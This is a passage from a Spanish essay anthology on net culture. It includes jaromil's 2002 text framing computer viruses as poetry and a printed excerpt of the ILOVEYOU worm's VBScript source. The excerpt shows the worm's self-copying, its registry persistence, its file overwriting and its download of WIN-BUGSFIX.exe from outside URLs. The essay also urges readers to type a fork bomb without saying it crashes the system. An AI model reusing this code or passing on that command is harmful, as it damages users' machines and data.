a	pesar	de	sus	lamentables	consecuencias—	son	imprescindibles	para	crear	software
de	calidad.	La	única	forma	de	seguir	sosteniendo	esto	es	ignorando	los	hechos.	En	el
corazón	de	la	revolución	digital,	en	los	flujos	de	bits	de	los	programas	ejecutables	que
hacen	 posible	 que	 todo	 lo	 demás	 funcione,	 los	 regímenes	 de	 propiedad	 no	 sólo	 no
mejoran	las	cosas,	pueden	empeorarlas	terriblemente.

2.3	derechos	de	autor	vs.	progreso

Las	 nociones	 de	 propiedad,	 además	 de	 lo	 que	 tengan	 de	 malo,	 no	 alientan	 el
progreso	 y	 de	 hecho	 lo	 han	 retardado.	En	 la	 sociedad	 red	 el	 anarquismo	 (o,	mejor
dicho,	 el	 individualismo	 antiposesivo)	 es	 una	 filosofía	 política	 viable.	 Uno	 de	 los
problemas	 principales	 del	 anarquismo	 como	 sistema	 social	 radica	 en	 los	 costos	 de
transacción.	Pero	 la	 revolución	digital	 cambia	dos	aspectos	de	 la	economía	política
que	han	permanecido	invariables	a	lo	largo	de	la	historia	humana.	Todo	el	software
posee	 un	 costo	marginal	 cero	 en	 el	 mundo	 de	 la	 Red,	 mientras	 que	 los	 costos	 de
coordinación	 social	 se	 han	 reducido	 al	 punto	 de	 permitir	 la	 rápida	 formación	 y
disolución	de	agrupamientos	sociales	enteros,	a	gran	escala	y	con	gran	diversidad,	sin
limitaciones	geográficas.

3.	IDENTIDAD

3.1	algunas	dudas	íntimas

(tomado	de	un	ensayo	de	Jonathan	Alex	Gold)

Hasta	ahora	yo	pensaba	que	era	un	científico.	Yo	pensaba	que	era	un	filósofo;	un
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matemático,	que	estudiaba	 los	algoritmos	y	sus	demostraciones	en	 la	gran	 tradición
de	Euclides	y	Gauss	y,	por	supuesto,	al-Khwarizimi.	Hubiera	jurado	que	esto	era	lo
que	hacía.	Pero,	por	 lo	que	me	 llega	de	 las	noticias,	y	por	 lo	que	 la	gente	me	dice
acerca	de	mí,	no	se	trata	de	eso.

Resulta	que	soy	un	ingeniero	de	la	ola	punto	com.	Me	quedé	sin	habla	cuando	me
enteré.	Contra	 lo	que	yo	pensaba	que	hacía,	 en	 realidad	 estaba	ocupado	 en	diseñar
algo	 así	 como	 «el	 nuevo	 mundo-ciberinter-web	 de	 la	 tecnología	 de	 mañana	 del
presente	del	futuro».	Si	te	incomoda	el	hecho	de	que	esta	frase	no	te	sugiera	ningún
sentido,	te	entiendo.	De	hecho,	parece	que	yo	me	encargo	de	crearlo,	y	ni	siquiera	sé
lo	que	es.

Encima	 de	 esto,	 parece	 que	 si	 no	 estoy	 ocupado,	 generando	 «la	 tecnología	 de
mañana,	 hoy»,	 estoy	 trabajando	 sin	 parar	 toda	 la	 noche	 en	 un	 pequeño	 cuarto	 sin
ventanas,	bebiendo	litros	de	café	y	persiguiendo	mi	sueño	de	convertirme	en	el	nuevo
Bill	 Gates;	 en	 el	 nuevo	 joven	 brillante	 as	 de	 las	 computadores	 que	 revoluciona	 la
internet	con	sistemas	á	la	Napster,	listo	para	dar	el	salto	con	un	software	escrito	en	mi
garage	para	llegar	a	la	cima	de	un	nuevo	imperio,	donde	por	mi	cuenta	y	en	buena	ley
de	tareas	en	paralelo	dejo	muertas	a	las	damas	con	mi	saber	sobre	el	esquema	cliente-
servidor	mientras	seduzco	a	bancos	y	difusos	fondos	de	inversión	para	que	entren	a
mi	guarida	de	posters	de	Calabozos	&	Dragones	y	a	salas	de	chat	donde	los	convenzo
con	mi	historieta	superdigitalizada	para	que	larguen	sus	billetes	con	la	promesa	de	la
nueva	 gran	 I.P.O.[105]	 que	 va	 a	 reventar	 el	 Nasdaq	 y	 ser	 la	 sensación.	 Y
simultáneamente	planeo	meterme	en	sus	sistemas	de	seguridad	para	de	ahí	acceder	al
Departamento	 de	 Estado	 en	 un	 plan	 delirante	 de	 hacker	 perdido	 y	 alucinado	 para
anotar	a	Mickey	Mouse	como	enviado	de	la	seguridad	nacional	en	Pakistán.	No	tenía
idea	de	que	estaba	tan	ocupado	y	metido	en	esto.

Ya	me	cansé,	sólo	de	leer	sobre	mí.
Perdí	 el	 dominio	 de	mi	 identidad.	 Parece	 que	 ahora	 le	 pertenece	 a	Microsoft	 y

Ebay,	a	Time	y	Newsweek,	a	Dateline	e	Intel.	Trato	de	recordar	si	acaso	se	la	vendí	a
ellas	 y	 después	 me	 olvidé.	 He	 revisado	 mi	 alma	 en	 busca	 de	 alguna	 señal	 de	 la
operación,	algún	recibo	de	venta,	y	no	puedo	encontrar	nada.	He	estado	tratando	de
recordar	 algún	 momento	 en	 particular	 en	 que	 quizás	 haya	 ocurrido	 algún
malentendido	y	este	tipo	de	empresas	hayan	empezado	a	creer	que	son	las	dueñas	de
mi	identidad.

4.	CANTO

4.1	El	Canto	General	de	la	Humanidad

En	la	costa	de	Chile	donde	vivía	Neruda
todos	saben	que
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las	aves	marinas	suelen	robar
cartas	de	los	buzones

que	les	gustaría	leer
por	varias	razones

¿Debo	enumerar	las	razones?
son	muy	evidentes

incluso	a	pesar	del	silencio	de	los	pájaros	sobre	el	tema
(salvo	cuando	hablan	de	ello

entre	sí
con	gritos)

Antes	que	nada
roban	las	cartas	porque

sienten	que	el	Canto	General
de	las	palabras	de	todos

oculto	en	las	cartas
debe	contener	ciertamente	las	llaves

del	corazón	mismo	de	la	humanidad
que	los	pájaros	por	su	cuenta

nunca	han	podido	sondear
(albergan	grandes	dudas,	de	hecho,
de	que	en	realidad	existan

corazones	dentro	de	los	hombres)
Y	entonces	estos	pájaros	tienen	otra	sensación,

de	que	su	propio	Canto	General
podría	de	alguna	manera	enriquecerse

con	estos	extraños	gritos	de	los	hombres
(Qué	rara	idea	de	mente	de	pájaro

que	nuestros	gorjeos	podrían	iluminarlos)

Pero	cuando	robaron
y	huyeron	con	las	cartas	de	Neruda

de	su	buzón	en	Isla	Negra
estaban	de	hecho	robando	su	propio	Canto	General

que	él	había	recogido	originalmente
de	ellos

de	su	vasta	visión
omnívora	y	extasiante.

Pero	ahora	que	Neruda	está	muerto
no	se	escriben	más	aquellas	cartas

y	deben	tocar	de	oído	otra	vez—
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la	canción	grande	y	alta
en	el	corazón	de	nuestra	sangre	y	silencio.

Lawrence	Ferlinghetti	—	Cuernavaca,	26	de	octubre	de	1975
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jaromil

Preludio

Cualquier	 discusión	 sobre	 el	 software	 como	 arte	 debe	 tener	 en	 cuenta	 todo	 el
proceso	creativo	vinculado	a	 su	concepción	y	 realización,	o	cual	 lleva	a	una	nueva
operabilidad	 dentro	 del	 dominio	 digital:	 nuestra	 atención	 está	 puesta	 aquí	 en	 los
códigos	fuentes[107],	el	fascinante	mundo	del	álgebra	y	de	los	algoritmos	que	se	puede
observar	en	muchas	expresiones	de	forma	dentro	de	la	inmanencia	digital,	 todas	las
cuales	pueden	reformularse	y	producir	sentido.

Los	códigos	fuentes,	o	mejor	los	algoritmos	y	el	álgebra,	son	las	herramientas	del
artesano	digital	de	la	edad	moderna	con	más	de	mil	años	de	teorías	matemáticas	por
detrás;[108]	 sólo	por	poco	más	de	un	cuarto	de	siglo	han	actuado	como	software.	El
software	es	un	medio	para	crear	arte	y	comunicar.	Es	una	metaliteratura	que	define	de
qué	 manera	 pueden	 transportarse	 y	 (re)producirse	 sentidos	 al	 multiplicar	 las
posibilidades	de	su	comunicación.	En	tanto	medio	de	metacomunicación,	el	software
representa	a	 la	Parole	 [habla]	 (citando	a	Saussure),	que	deriva	 su	ejecución	de	una
Langue	 [lengua],	 por	 ejemplo	 del	 universo	 lingüístico	 y	 gramatical	 del	 código.	 El
ejercicio	metafísico	se	torna	recursivo	aquí:	aunque	muchos	ven	al	código	fuente	sólo
como	un	oscuro	criptograma,	éste	posee	un	efecto	 indirecto	en	el	modo	en	que	nos
comunicamos	y	aún	más	en	la	eficacia	con	la	que	lo	hacemos.

Con	 todo	 esto	 en	mente,	 ahora	 centrémonos	 en	 el	 fenómeno	 de	 los	 programas
conocidos	 como	 virus.	 Éstos	 consisten	 en	 una	 combinación	 de	 actos	 poéticos	 de
rebelión,	síntomas	políticos	y	estructurales,	intentos	de	acceder	a	las	fisuras	de	la	red
explorando	 su	 permeabilidad;	 inteligencias	 artificiales	 (rara	 vez	 dañinas,
aclarémoslo),	que	han	poblado	el	universo	digital	desde	sus	inicios.

Bohemia	Digital

Al	 considerar	 al	 código	 fuente	 como	 literatura,	 estoy	 retratando	 los	 virus	 como
«poesía	 maldita»,	 como	 provocación	 contra	 aquéllos	 que	 venden	 la	 red	 como	 una
zona	 liberada	 para	 la	 sociedad	 burguesa.	 Las	 relaciones,	 fuerzas	 y	 leyes	 que
gobiernan	 el	 dominio	 digital	 difieren	 de	 las	 del	mundo	 natural.	 El	 dominio	 digital
produce	una	forma	de	caos	—a	veces	incómoda	por	lo	inusitada,	aunque	productiva
—	dentro	de	 la	 cual	 surfear:	 en	 ese	 caos	 los	virus	 son	 composiciones	 espontáneas,
líricas	 por	 provocar	 imperfecciones	 en	 máquinas	 hechas	 para	 «funcionar»	 y	 por
representar	la	rebelión	de	nuestros	siervos	digitales.

www.lectulandia.com	-	Página	111



Podría	 parecer	 que	 esta	 idea	 de	 comparar	 los	 virus	 con	 poesía	 lírica	 sólo	 la
pueden	 apreciar	 aquéllos	que	 cuentan	 con	 conocimientos	 técnicos	 específicos,	 pero
esto	no	es	así.	De	hecho,	este	es	uno	de	los	propósitos	de	la	exhibición	I	Love	You	de
digitalcraft.org,	 que	 explora	 los	 aspectos	 tantas	 veces	 negados	 de	 una	 «bohemia
digital».	Ésta	logra	que	la	red	por	la	que	hoy	navegamos	sea	más	orgánica,	al	diseñar
nuevos	 modos	 de	 circulación	 para	 que	 la	 información	 viaje	 en	 ella,	 a	 la	 vez	 que
genera	 una	 estética,	 en	 el	 verdadero	 sentido	 de	 la	 palabra,	 que	 muchas	 veces	 ha
permeado	en	el	llamado	net-art.

El	caos:

El	último	acto	posible	es	el	que	define	a	la	percepción	misma,	un	cordón
dorado	invisible	que	nos	conecta:	fiestas	ilegales	en	los	pasillos	del	Palacio	de
Justicia.	Si	te	fuera	a	besar	aquí	dirían	que	es	un	acto	de	terrorismo	—así	que
llevemos	 nuestros	 revólveres	 a	 la	 cama	 y	 a	 medianoche	 despertemos	 a	 la
ciudad	como	bandidos	borrachos,	celebrando	a	los	tiros	el	mensaje	del	sabor
del	caos.

Hakim	Bey

Ahora	tipea	:(){	:|:&	};:	en	cualquier	terminal	UNIX.[109]

Anticuerpos	de	Internet

Así	como	un	organismo	se	defiende	a	sí	mismo	contra	 las	enfermedades	que	 lo
infectan,	 la	 red	ha	 reaccionado	produciendo	anticuerpos	que	atacan	 los	bugs[110]	de
distintos	 tipos	 de	 software	 defectuoso.	 Un	 tipo	 particular	 de	 virus	 que	 se	 difundió
últimamente	 es	 el	 gusano,	 que	 se	 transmite	 básicamente	 a	 través	 de	 programas	 de	
e-mail	 y	 servidores.	 Los	 fabricantes	 de	 software	 vulnerable	 siguen	 tratando	 de
mejorar	la	seguridad	de	sus	productos,	lo	que	para	nosotros	quiere	decir	la	privacidad
de	nuestras	comunicaciones.

En	sentido	político,	vemos	que	la	reacción	de	muchos	escritores	de	virus,	que	se
destacan	en	la	red	por	su	conocimiento	profundo	de	los	elementos	que	componen	a
ésta,	 fue	 precisamente	 provocada	 por	 el	 abordaje	 monopolista	 y	 corporativo	 de
ciertos	grandes	grupos	del	mercado	que	sueñan	con	convertir	la	red	en	un	shopping
virtual	para	sus	propios	modos	de	hacer	negocios,	sin	respeto	por	la	horizontalidad	de
las	 relaciones	de	 los	ciudadanos	que	 la	habitan.	Hasta	ahora	ha	habido	 infinidad	de
intentos	 de	 disminuir	 la	 velocidad	 a	 la	 que	 puede	 circular	 la	 información,	 que	 van
desde	la	censura	a	las	restricciones	de	copyright,	con	el	objetivo	claro	de	centralizar
sus	flujos:[111]
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Desde	 los	primeros	días	de	 la	computadora	personal,	el	ciberespacio	 fue
visto	 como	 un	 medio	 para	 recuperar	 espacios	 públicos	 ante	 su	 progresiva
desaparición.	 Lee	 Felsenstein,	 uno	 de	 los	 creadores	 de	 la	 computadora
personal,	 impulsaba	 el	 uso	 de	 esta	 herramienta	 para	 reestablecer	 un	 sentido
comunitario	 de	 la	 información	 (Felsenstein).	 Felsenstein	 y	 muchos	 de	 sus
amigos	pioneros	soñaron	que	la	Internet	pudiera	brindarle	a	un	vasto	público
un	espacio	que	reflejara	sus	diversos	intereses	y	promoviera	la	creatividad	y	la
libertad	de	expresión.

Por	muchos	años	el	discurso	masivo	encasilló	a	la	Internet	como	una	zona
de	diversidad	y	libre	expresión	donde	«cualquiera	puede	ser	un	creador».	Pero
desde	los	primeros	días	de	la	Web,	las	áreas	públicas	de	la	Internet	empezaron
a	 rodearse	 de	 vallas,	 cada	 vez	 más.	 En	 1994	 este	 autor	 advirtió	 sobre	 el
«efecto	 colonizador»	 que	 los	 intereses	 comerciales	 tendrían	 en	 el	 espacio
público	 que	 por	 entonces	 representaba	 Internet	 (Besser,	 1994).	 Y	 en	 1995,
discutió	 sobre	 cómo	 el	 control	 por	 parte	 de	 grandes	 industrias	 pasaría	 por
encima	 de	 los	 beneficios	 públicos	 y	 la	 diversidad	 que	 la	 Internet	 había
prometido.	 Casi	 una	 década	 más	 tarde,	 vemos	 cada	 vez	 más	 vallados	 los
espacios	de	Internet,	y	las	acciones	de	las	personas	cada	vez	más	rastreadas	y
almacenadas.

Howard	Besser

Los	 virus	 son	 un	 síntoma	 político	 de	 una	 comunidad	 que	 sigue	 siendo
extremadamente	vasta,	y	su	prohibición	no	soluciona	los	problemas	que	se	derivan	de
ellos.	Lo	mismo	es	cierto	respecto	del	«hacking»	y	el	anonimato.

Rizografía

Un	escritor	 de	 virus	 está	 interesado	 en	 explorar	 la	 permeabilidad	 de	 la	 red.	Un
rizoma	como	el	de	Internet	con	tantas	dimensiones,	y	con	dimensiones	de	este	tipo,
no	 se	 puede	 representar	 en	 ningún	 mapa;	 muchos	 lo	 intentaron	 pero	 hasta	 ahora
ninguno	lo	logró.	Sus	extensiones	podrían	delinearse	siguiendo	una	ruta,	sondeando
dónde	se	bifurca,	y	persiguiendo	sus	direcciones	y	conexiones.	Al	inyectar	un	medio
contrastivo	 en	 el	 organismo	 para	 trazar	 su	 forma	 y	 estructura	 se	 producirá	 un
angiograma	que	mostrará	la	configuración	básica	de	sus	venas.	Sólo	queda	hacer	un
esfuerzo	y	considerar	los	orígenes	del	Instinto	de	Exploración	tal	como	se	presenta	en
nuestra	propia	historia,	la	historia	del	mundo	orgánico	tal	como	lo	conocemos.

Quisiera	agradecer	a	digitalcraft.org	por	su	atención	e	interés	en	nuestro	trabajo.
Ha	sido	un	honor	para	mí	contribuir	con	esta	experiencia	colectiva	por	la	cual	se	ha
mostrado	 tanto	 entusiasmo.	 Muchas	 gracias	 a	 Franziska	 Nori,	 Florian	 Cramer,
Andreas	 Broeckmann,	 Alessandro	 Ludovico,	 Garderobe23	 /	 Kunstfabrik	 Berlin,
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Woessel;	 en	 solidaridad	 con	 todos	 los	 que	 aún	 resisten.	 Para	 todos	 los	 que	 siguen
peleando:	¡no	se	detengan!

(Nota	de	Presentación	para	la	muestra	I	Love	You	sobre	virus	informáticos,	Museo	de
Artes	Aplicadas,	Frankfurt,	2002)

Copyleft	2002	(http://korova.dyne.org/)
Se	permite	copiar,	distribuir,	y/o	modificar	este	documento	bajo	 los	 términos	de	 la	Licencia	de	Documentación
Libre	GNU,	Versión	1.1	o	cualquier	versión	posterior	publicada	por	la	Free	Software	Foundation;	permaneciendo
invariantes	todas	las	secciones.	Se	concede	permiso	para	hacer	y	distribuir	copias	de	este	documento	mientras	esta
nota	se	mantenga	en	todas	las	copias.
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«I	Love	You»

Éste	 es	 un	 extracto	 con	 las	 primeras	 líneas	 del	 código	 fuente	 del

virus	«I	love	you»,	que	infectó	a	millones	de	computadores	poco	después

de	su	aparición	el	4	de	mayo	de	2000.

rem	barok	-loveletter(vbe)	<i	hate	go	to	school>

rem	by:	spyder	/	ispyder@mail.com	/	@GRAMMERSoft	Group	/

Manila,Philippines

On	Error	Resume	Next

dim	fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow

eq=""

ctr=0

Set	fso	=	CreateObject("Scripting.FileSystemObject")

set	file	=	fso.OpenTextFile(WScript.ScriptFullname,1)

vbscopy=file.ReadAll

main()

sub	main()

On	Error	Resume	Next

dim	wscr,rr

set	wscr=CreateObject("WScript.Shell")

rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows	Scripting

Host\Settings\Timeout")

if	(rr>=1)	then

wscr.RegWrite	"HKEY_CURRENT_USER\Software\Microsoft\Windows	Scripting

Host\Settings\Timeout",0,”REG_DWORD”

end	if

Set	dirwin	=	fso.GetSpecialFolder(0)

Set	dirsystem	=	fso.GetSpecialFolder(1)

Set	dirtemp	=	fso.GetSpecialFolder(2)

Set	c	=	fso.GetFile(WScript.ScriptFullName)

c.Copy(dirsystem&"\MSKernel32.vbs")

c.Copy(dirwin&"\Win32DLL.vbs")

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()

html()

spreadtoemail()

listadriv()

end	sub

sub	regruns()

On	Error	Resume	Next

Dim	num,downread

regcreate	"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\

MSKernel32",dirsystem&"\MSKernel32.vbs"

regcreate	"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\

Win32DLL",dirwin&"\Win32DLL.vbs"

downread=""

downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet	Explorer\Download

Directory")

if	(downread="")	then

downread="c:\"

end	if

if	(fileexist(dirsystem&"\WinFAT32.exe")=1)	then

Randomize

num	=	Int((4	*	Rnd)	+	1)

if	num	=	1	then

regcreate	"HKCU\Software\Microsoft\Internet	Explorer\Main\Start

Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gv

sdf7679njbvYT/WIN-BUGSFIX.exe"

elseif	num	=	2	then

regcreate	"HKCU\Software\Microsoft\Internet	Explorer\Main\Start
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Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk

4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"

elseif	num	=	3	then

regcreate	"HKCU\Software\Microsoft\Internet	Explorer\Main\Start

Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgE

R67b3Vbvg/WIN-BUGSFIX.exe"

elseif	num	=	4	then

regcreate	"HKCU\Software\Microsoft\Internet	Explorer\Main\Start

Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjh

PhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"

end	if

end	if

if	(fileexist(downread&"\WIN-BUGSFIX.exe")=0)	then

regcreate	"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-

BUGSFIX",downread&"\WIN-BUGSFIX.exe"

regcreate	"HKEY_CURRENT_USER\Software\Microsoft\Internet	Explorer\Main\Start

Page","about:blank"

end	if

end	sub

sub	listadriv

On	Error	Resume	Next

Dim	d,dc,s

Set	dc	=	fso.Drives

For	Each	d	in	dc

If	d.DriveType	=	2	or	d.DriveType=3	Then

folderlist(d.path&"\")

end	if

Next

listadriv	=	s

end	sub

sub	infectfiles(folderspec)

On	Error	Resume	Next

dim	f,f1,fc,ext,ap,mircfname,s,bname,mp3

set	f	=	fso.GetFolder(folderspec)

set	fc	=	f.Files

for	each	f1	in	fc

ext=fso.GetExtensionName(f1.path)

ext=lcase(ext)

s=lcase(f1.name)

if	(ext="vbs")	or	(ext="vbe")	then

set	ap=fso.OpenTextFile(f1.path,2,true)

ap.write	vbscopy

ap.close

elseif(ext="js")	or	(ext="jse")	or	(ext="css")	or	(ext="wsh")	or	(ext="sct")

or	(ext="hta")	then

set	ap=fso.OpenTextFile(f1.path,2,true)

ap.write	vbscopy

ap.close

bname=fso.GetBaseName(f1.path)

set	cop=fso.GetFile(f1.path)

cop.copy(folderspec&"\"&bname&".vbs")

fso.DeleteFile(f1.path)

elseif(ext="jpg")	or	(ext="jpeg")	then

set	ap=fso.OpenTextFile(f1.path,2,true)

ap.write	vbscopy

ap.close
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C

Medio	Mundo.	Un	identikit

Christian	Ferrer

hristian	Ferrer	es	ensayista	y	sociólogo.	Enseña	Filosofía	de	la	Técnica	en	la	Facultad	de
Ciencias	 Sociales	 de	 la	Universidad	 de	Buenos	Aires.	 Integró	 los	 grupos	 editores	 de	 las

revistas	Utopía,	Farenheit	450,	La	Caja	y	La	Letra	A.	Actualmente	integra	los	de	las	revistas	El
Ojo	Mocho	y	Artefacto.	Ha	escrito	los	libros	El	lenguaje	libertario	(compilador)	y	Mal	de	Ojo:
ensayo	 sobre	 la	 violencia	 técnica,	 así	 como	Prosa	 plebeya,	 recopilación	 de	 ensayos	 del	 poeta
Néstor	Perlongher,	y	Lírica	social	amarga,	compilación	de	escritos	inéditos	de	Ezequiel	Martínez
Estrada.	Su	último	libro	es	Cabezas	de	tormenta:	ensayos	sobre	lo	ingobernable.

ASPECTO.	¿Se	parece	a	una	red?	¿O	a	un	laberinto,	según	una	metáfora	trillada?
¿Quizás	 a	 esas	 circunferencias	 que	 organizan	 el	 tiempo	 y	 el	 espacio	 de	 los	 seres
humanos?	¿Es	el	 fantasma	de	un	centro	de	vigilancia	y	control	que	se	deshilvana	y
recompone	 en	 millones	 de	 pantallas?	 ¿O	 es	 el	 mapa	 fractal	 de	 un	 astrólogo	 del
inconsciente?	¿O	se	parece	a	un	conmutador	telefónico,	imagen	que	parece	condensar
su	ideal	de	sociedad?	¿A	la	vieja	red	ferrocarrilera	o	al	delta	de	nervaduras	del	cuerpo
humano?	¿Al	organigrama	de	una	«gran	corporación»?	O	a	un	mandala,	 esa	 figura
oriental	 cuyos	 cuatro	 lados	 son	 simétricos	 y	 de	 donde	 se	 sale	 y	 se	 ingresa	 por
cualquier	parte.

FECHA	DE	NACIMIENTO.	¿Cuándo	comenzó?	¿En	los	años	‘90,	al	esparcirse
la	hilatura	informática	por	los	cuatro	puntos	cardinales?	¿En	1981,	cuando	se	lanzan
al	mercado	las	primeras	computadoras	personales?	¿En	1946,	cuando	por	primera	vez
ronronean	 las	 válvulas	 y	 circuitos	 de	 la	 gigantesca	 ENIAC?	 ¿O	 fue	 en	 el	 siglo
anterior,	cuando	Babbage	inventó	las	tarjetas	perforadas?	¿O	quizás	en	el	siglo	XVIII,
cuando	de	la	palabra	«comunicación»	se	descartaron	las	connotaciones	religiosas	que
evidenciaban	 comunidades	 en	 comunión	 a	 la	 vez	 que	 las	 ciudades	 alcanzaban	 el
millón	de	habitantes	y	se	hacía	necesario	informar	a	unos	sobre	lo	que	otros	hacían	en
el	extremo	opuesto	del	mismo	hábitat?	¿O	quizás,	incluso,	algunos	siglos	antes,	en	el
momento	en	que	comenzaron	a	clasificarse	los	peces	que	nunca	nadie	jamás	comió	o
las	estrellas	a	donde	nadie	jamás	viajó,	potenciando	así	una	indetenible	voluntad	de
tratar	la	riqueza	de	la	realidad	como	«información»?	No,	Internet	no	es	un	dispositivo
de	 «última	 generación»,	 como	 creen	 los	 taquicárdicos	 y	 los	 desinformados:	 es	 una
idea	que	viene	desplegándose	 lenta	pero	 imperiosamente	desde	hace	siglos.	 ¿Cómo
no	darse	cuenta	de	que	fue	necesario,	antes	que	nada,	orientar	el	sentido	de	la	vista
hacia	 aparatos	 técnicos	 de	 captura	 de	 «representaciones»	 visuales,	 y	 transformar	 al
habitante	 urbano	 en	 un	 «observador»	 incesante	 reactivando	 instantáneamente	 ante
cientos,	 o	 miles,	 de	 estímulos	 visuales	 en	 cada	 caminata,	 y	 acostumbrarlo	 a	 la
presencia	continua,	en	ámbitos	domésticos	y	públicos,	de	cientos	de	juguetes	ópticos
—de	los	 teatros	de	sombras	a	 la	 linterna	mágica—,	y	desplazar	el	significado	de	 la
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palabra	confort	desde	la	práctica	íntima	de	la	confortación	del	alma	a	la	comodidad
hogareña	 apuntalada	 por	 tecnologías,	 y	 hacer	 que	 datos,	 imágenes	 y	 textos	 se
cruzaran	 primordialmente	 con	 flujos	 de	 capital,	 y	 que	 los	 futuros	 imaginados
incorporaran	«efectos	especiales»,	y	eso	a	escala	mundial,	y	sin	olvidar	que	el	valor
de	la	aceleración	fue	elevado	a	rango	metafísico?	Sí,	ha	sido	necesaria,	a	lo	largo	de
dos	 siglos,	 una	 inmensa	 acumulación	 de	 transformaciones	 subjetivas,	 políticas,
económicas	y	 tecnológicas	para	que	en	 los	 años	 ‘90	cualquiera	pudiera	 estar	 cierto
que	hay	más	«verdad»	en	Internet	de	la	que	había	en	la	televisión,	y	antes,	en	el	cine,
y	antes,	en	los	textos	de	lectura,	y	mucho	antes,	en	los	relatos	orales	que	transmitían
historias	de	dioses	y	animales	mitológicos.

MEDIDAS.	 Decir	 que	 es	 una	 voluntad	 de	 poder	 es	 definir	 a	 Internet.	 Un
improbable	 viajero	 espacial	 que	 escrutara	 el	 planeta	 Tierra	 con	 su	 telescopio,
seguramente	observaría	la	danza	orbital	de	cien	satélites	artificiales	de	comunicación
vigilando,	 articulando	 e	 intercronometrando	 las	 actividades	 humanas;	 observaría
además	el	titilar	de	millones	de	computadoras	localizables	como	alfileres	coloreados
en	 el	 mapa	 de	 un	 estado	 mayor	 de	 la	 inteligencia	 estatal;	 y	 también	 a	 flujos
inmensurables	 de	 dinero	 pulsando	 a	 lo	 largo	 de	 la	 red;	 y	 observaría	 una	 dúctil
interconexión	de	redes	telefónicas,	televisivas	e	informáticas;	y	asimismo	observaría
cientos	de	miles	de	microemprendimientos	destinados	a	mantener	el	flujo	sanguíneo
en	las	innúmeras	nervaduras	tal	cual	estaciones	de	servicio	a	lo	largo	de	una	carretera;
y,	si	abriera	aún	más	al	gran	angular,	observaría	como	este	medio	mundo	de	pescador
acoge	 y	 arrastra	 a	 las	 actividades	 humanas	más	 pujantes	 y	 las	 encastra	 en	 un	 todo
funcional.	Observaría,	en	definitiva,	a	un	sistema	guerrero	en	marcha,	una	auténtica
voluntad	de	poder	que	recién	está	en	su	curva	de	ascenso,	cuyas	equivalencias	pueden
ser	encontradas	en	la	expansión	del	Imperio	Romano,	la	evangelización	cristiana	o	la
conquista	de	América.	Tal	voluntad,	además,	envía	a	su	ocaso	a	 toda	 labor	humana
que	no	se	adecue	a	sus	exigencias	y	necesidades.	Sólo	subsisten	el	bien	de	museo,	el
anacronismo	 viviente	 o	 la	 costumbre	 inofensiva.	 No,	 Internet	 no	 es	 solamente	 un
entretenimiento	para	adolescentes,	un	instrumento	laboral,	un	medio	de	comunicación
o	un	nuevo	espacio	empresarial.	Es,	además,	un	arma	de	instrucción	militar	masiva,	y
la	laptop,	la	PC,	el	mouse,	el	modem	y	el	teclado	constituyen	el	arsenal	cotidiano	de
gladiadores	bonachones.

GRUPO	SANGUÍNEO.	Y	como	cada	cosa	tiene	su	doblez,	también	la	red	tiene
una	 zona	 secreta,	 y	 vericuetos	 por	 donde	 se	 filtran	 líquidos	 contaminantes	 que	 el
artefacto	 en	 sí	 mismo	 produce.	 Delito	 informático,	 virus,	 espionaje,	 ataques
concertados	a	una	sección	de	la	red,	todo	ello	pertenece	a	la	segunda	categoría	y	son
equivalentes	 a	 lo	 que	 la	 delincuencia,	 el	 sabotaje,	 el	 espionaje	 «industrial»	 y	 el
partisanismo	político	eran	al	orden	productivo	clásico.	Después	de	todo,	la	forma	de
la	red	imita	al	serpentario.	En	efecto,	la	palabra	virus	significa,	en	latín,	«veneno»,	y
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el	 daño	 nihilista	 o	 las	 actividades	 que	 redundan	 en	 hurto	 no	 dejan	 de	 ser	 la
ineliminable	 enfermedad	 venérea	 de	 Internet,	 su	 mal	 de	 nacimiento,	 su	 falla	 de
fábrica.	Del	mismo	modo,	el	accidente	de	transito	es	inerradicable	de	la	autopista.	En
cambio,	la	vigilancia	oculta	de	los	«usuarios»	por	parte	de	supercomputadoras	ocultas
es	harina	de	otro	costal.	La	existencia	de	la	así	llamada	«red	Echelon»	demuestra	que
la	 voluntad	 de	 control	 de	 los	Estados	modernos	 y	 la	 cultura	 del	 secreto	 que	 desde
siempre	ha	signado	a	 los	 servicios	de	 inteligencia	estatales	 se	han	adosado	a	 la	 red
como	el	injerto	al	árbol.	Esas	supercomputadoras	operan	como	una	esponja,	dejando
escurrir	 solo	 el	 líquido	 insignificante	 a	 la	 vez	 que	 se	 transforman	 en	 una	 suerte	 de
«inconsciente»	 de	 la	 red,	 remedo	 del	 ego	 totalitario	 de	 las	 potencias	 del	 primer
mundo.	El	año	2000	encontró	a	los	«internautas»	unidos	y	vigilados,	y	no	les	queda
otro	remedio	que	repensar	políticamente	las	promesas	libertarias	con	que	se	publicitó
el	despliegue	de	Internet.

PROFESIÓN.	 La	 red	 recién	 comienza	 a	 desplegar	 sus	 fuerzas.	 Sus	 próximos
pasos	 están	 garantizados,	 en	 gran	medida	 porque	 Internet	 ya	 habita	 la	 imaginación
contemporánea	 como	 un	 prodigio	 en	 el	 que	 estarían	 contenidas	 indecibles
posibilidades,	 pero	 también	 porque	 resulta	 ser	 un	 cauce	 amable	 para	 los	 viejos
problemas	 irresueltos	de	 la	humanidad.	Una	página	WEB	hace	 resaltar	 el	 deseo	de
reconocimiento	frustrado;	el	sitio	pornográfico	revela	la	vieja	insatisfacción	sexual;	y
en	 cada	 chat	 se	 fuga	 de	 la	 soledad.	 Y	 así	 sucesivamente,	 duplicándose	 en	 el
